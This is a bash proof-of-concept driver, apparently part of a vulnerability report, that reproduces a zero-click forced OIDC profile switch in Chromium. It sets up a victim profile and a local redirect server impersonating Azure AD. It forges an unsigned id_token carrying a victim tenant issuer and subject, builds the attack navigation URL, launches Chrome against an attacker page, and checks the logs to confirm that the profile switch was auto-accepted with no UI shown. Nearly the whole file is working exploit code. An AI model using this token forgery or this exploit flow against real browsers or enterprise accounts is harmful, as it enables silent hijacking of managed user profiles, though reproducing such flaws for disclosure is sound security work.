#!/bin/bash
# Zero-click OIDC forced-profile-switch POC driver.
set -uo pipefail

HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
UDD="${UDD:-/tmp/chrome-poc-profile}"
LOG="$HERE/chrome-output.log"

export ASAN_OPTIONS="detect_leaks=0:detect_odr_violation=0"

echo "===================================================================="
echo "[1/3] Setting up victim precondition: existing OIDC-managed profile"
echo "===================================================================="
CHROME="$CHROME" UDD="$UDD" python3 "$HERE/setup_profiles.py"

echo
echo "===================================================================="
echo "[2/3] Starting redirect server (simulates Azure AD 302 hop)"
echo "===================================================================="
pkill -f "$HERE/server.py" 2>/dev/null || true
fuser -k 8081/tcp 8443/tcp 2>/dev/null || true
sleep 1
python3 "$HERE/server.py" > "$HERE/server.log" 2>&1 &
SERVER_PID=$!
trap 'kill $SERVER_PID 2>/dev/null || true' EXIT
sleep 2

echo
echo "===================================================================="
echo "[3/3] Launching Chrome in the *Default* (source) profile and visiting"
echo "      attacker page http://localhost:8081/poc.html"
echo "===================================================================="
echo
echo "  Host-resolver mapping simulates the production redirect chain that"
echo "  an attacker would obtain via a real Azure AD prompt=none redirect"
echo "  (Azure AD has a valid cert in production, so --ignore-certificate-"
echo "  errors only compensates for the test environment, it does not gate"
echo "  the vulnerable code)."
echo

# Forge the unsigned id_token here too so we can also pass the attack URL
# directly (belt-and-braces with poc.html, which does the same via JS).
VICTIM_ISS="https://login.microsoftonline.com/victim-tenant-id/v2.0"
VICTIM_SUB="victim-pairwise-sub-abc123"
PAYLOAD=$(python3 -c \
  "import base64,json,sys; sys.stdout.write(base64.urlsafe_b64encode(json.dumps({'iss':'$VICTIM_ISS','sub':'$VICTIM_SUB'}).encode()).decode().rstrip('='))")
ATTACK_URL="https://login.microsoftonline.com/attacker-tenant/oauth2/v2.0/authorize#access_token=x&id_token=h.${PAYLOAD}.s"
echo "  Forged id_token payload (base64url): $PAYLOAD"
echo "  Attack navigation URL: $ATTACK_URL"
echo

# --vmodule turns on the VLOG_POLICY(2, OIDC_ENROLLMENT) traces in
# oidc_authentication_signin_interceptor.cc and the navigation throttle so we
# can observe the auto-accept path firing without any UI.
"$CHROME" \
  --no-sandbox \
  --no-first-run --no-default-browser-check --disable-gpu \
  --user-data-dir="$UDD" \
  --profile-directory=Default \
  --host-resolver-rules="MAP login.microsoftonline.com 127.0.0.1:8443, MAP chromeenterprise.google 127.0.0.1:8443" \
  --ignore-certificate-errors \
  --enable-logging=stderr --v=0 \
  --vmodule="*oidc*=2,*signin_interceptor*=2,*dice_web_signin*=2,*managed_profile*=2,*user_policy*=2,*user_cloud_policy*=2" \
  "http://localhost:8081/poc.html" "about:blank" \
  > "$LOG" 2>&1 &
CHROME_PID=$!

# Let the attack run.
sleep 25
kill $CHROME_PID 2>/dev/null || true
wait $CHROME_PID 2>/dev/null || true

echo
echo "===================================================================="
echo "RESULT (filtered Chrome log: $LOG)"
echo "===================================================================="
grep -anE "oidc_auth_response_capture|oidc_authentication_signin_interceptor|user_policy_oidc_signin_service|New browser created|DisconnectAndRemovePolicy" \
  "$LOG" | sed 's/^/  /' || true

echo
echo "--------------------------------------------------------------------"
echo "Side-effect on the TARGET profile (Profile 1):"
python3 -c "import json; p=json.load(open('$UDD/Profile 1/Preferences'));\
  print('  device_signals.permanent_consent_received =', p.get('device_signals',{}).get('permanent_consent_received'))" \
  2>/dev/null || true
echo

PASS=1
for needle in \
  "Existing OIDC profile with match credential found" \
  "Profile switched sucessfully" \
  "Shutting off GAIA policy service" \
  "New browser created" ; do
  if grep -aq "$needle" "$LOG"; then
    printf "  [PASS] %s\n" "$needle"
  else
    printf "  [FAIL] %s\n" "$needle"
    PASS=0
  fi
done

echo
if [ "$PASS" = "1" ]; then
  echo "===> VULNERABILITY REPRODUCED: zero-click forced profile switch"
  echo "     (ForcedProfileSwitchInterceptionHandle auto-accepted; no UI shown)"
else
  echo "===> NOT REPRODUCED (see $LOG)"
fi
echo
echo "Full log: $LOG"
